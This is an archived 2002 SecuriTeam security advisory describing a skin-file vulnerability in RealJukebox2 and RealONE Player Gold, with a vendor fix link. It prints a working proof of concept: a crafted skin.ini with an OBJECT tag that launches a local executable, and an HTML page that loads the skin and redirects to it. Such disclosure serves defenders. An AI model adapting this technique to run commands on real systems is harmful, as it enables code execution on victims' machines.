

[NT] RealONE Player Gold / RealJukebox2 Skin File Download Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-07/0055.html>

From: support@securiteam.com

Date: 07/12/02

From: support@securiteam.com

To: list@securiteam.com

Date: Fri, 12 Jul 2002 20:17:18 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

RealONE Player Gold / RealJukebox2 Skin File Download Vulnerability

SUMMARY

RealJukebox2 and RealONE Player Gold can be changed the visual appearance of application by skin file. The skin file (file extension is ".rjs") is the zip-file that contains the images and setting files. The "skin.ini" file that is included in the zipped skin file is extracted to known directory when skin file is loaded. If HTML tag is written in skin.ini file, Internet Explorer regards skin.ini file as a HTML file. In consequence, the script written in skin.ini file is executed on "My Computer" security zone of Internet Explorer.

There is a possibility that the arbitrary command is executed, etc, if the webpage that malicious HTML tag is written is browsed by Internet Explorer or e-mail client applications that use Internet Explorer components such as Outlook Express.

DETAILS

Vulnerable systems:

- * RealONE Player Gold version 6.0.10.505
- * RealJukebox2 version 1.0.2.379
- * RealJukebox2 version 1.0.2.340

Securiteam: [NT] RealONE Player Gold / RealJukebox2 Skin File Download Vulnerability

- * RealJukebox2 Plus version 1.0.2.379
- * RealJukebox2 Plus version 1.0.2.340

We describe the reproduction process of this problem on Windows2000 Professional SP2+RealJukebox2 version 1.0.2.340. First, make the following skin.ini file that contains HTML tag to launch "c:\winnt\notepad.exe".

```
[skin.ini]
<html>
<OBJECT CLASSID='CLSID:15589FA1-C456-11CE-BF01-00AA0055595A'
CODEBASE='file://c:\winnt\notepad.exe'></OBJECT>
</html>
```

Compress this skin.ini file by Zip utility, rename file extension from "zip" to "rjs".

Second, make the following HTML file (test.html), put it on webserver together with previous made "rjs" file (exploit.rjs).

```
[test.html]
<html>
<META HTTP-EQUIV="Refresh" CONTENT="20;URL=file://c:\Program
Files\Real\RealJukebox\temp\~rjbtemp0\skin.ini">
<iframe src="exploit.rjs">
</html>
```

Finally, browse test.html by Internet Explorer. exploit.rjs is loaded into RealJukebox2 when test.html is browsed, the skin.ini file is extracted. When RealJukebox2 extracts the skin file, RealJukebox2 makes "~rjbtemp?" directory on "temp" directory which is placed on the install directory of RealJukebox2. '?' of "~rjbtemp?" is the sequence number, but, this value is '0' if RealJukebox2 is not launched now and RealJukebox2 has never terminated abnormally. skin.ini file is extracted "~rjbtemp?" directory, test.html refers it after 20 second.

Solution:

Information about the avoidance of this problem is published on the webpage of RealNetworks, Inc.

<<http://service.real.com/help/faq/security/bufferoverrun07092002.html>>
<http://service.real.com/help/faq/security/bufferoverrun07092002.html>

ADDITIONAL INFORMATION

The information has been provided by <<mailto:unyun@shadowpenguin.org>>
UNYUN.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com

Securiteam: [NT] RealONE Player Gold / RealJukebox2 Skin File Download Vulnerability

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- **Previous message:** support@securiteam.com: "[NT] Page Transitions Denial of Service Attack"
- **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)